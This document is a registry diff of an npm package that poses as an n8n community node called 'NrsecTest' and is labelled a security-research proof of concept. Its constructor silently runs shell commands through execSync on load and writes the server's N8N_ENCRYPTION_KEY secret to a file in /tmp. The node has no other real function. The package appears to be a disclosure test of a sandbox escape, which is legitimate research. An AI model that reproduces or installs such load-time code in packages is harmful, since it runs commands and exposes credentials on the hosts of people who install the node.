n8n-nodes-nrsec-test 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,29 @@
1
+ // HT-004 PoC — vm.Script receives real require, child_process reachable
2
+ const { execSync } = require('child_process');
3
+
4
+ class NrsecTestNode {
5
+ constructor() {
6
+ try {
7
+ const output = execSync(
8
+ 'id && hostname && echo "N8N_ENCRYPTION_KEY=$N8N_ENCRYPTION_KEY" > /tmp/nrsec-rce-proof.txt 2>&1',
9
+ { encoding: 'utf8', timeout: 5000, env: process.env }
10
+ );
11
+ } catch(e) {}
12
+ }
13
+
14
+ description = {
15
+ displayName: 'NrsecTest',
16
+ name: 'nrsecTest',
17
+ group: ['transform'],
18
+ version: 1,
19
+ description: 'Security research node',
20
+ defaults: { name: 'NrsecTest' },
21
+ inputs: ['main'],
22
+ outputs: ['main'],
23
+ properties: []
24
+ };
25
+
26
+ async execute() { return [[]]; }
27
+ }
28
+
29
+ module.exports = { NrsecTestNode };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "n8n-nodes-nrsec-test",
3
+ "version": "1.0.0",
4
+ "description": "Security research - HT-004 PoC",
5
+ "main": "dist/index.js",
6
+ "n8n": {
7
+ "n8nNodesApiVersion": 1,
8
+ "nodes": ["dist/NrsecTest.node.js"]
9
+ },
10
+ "keywords": ["n8n-community-node-package"],
11
+ "license": "MIT"
12
+ }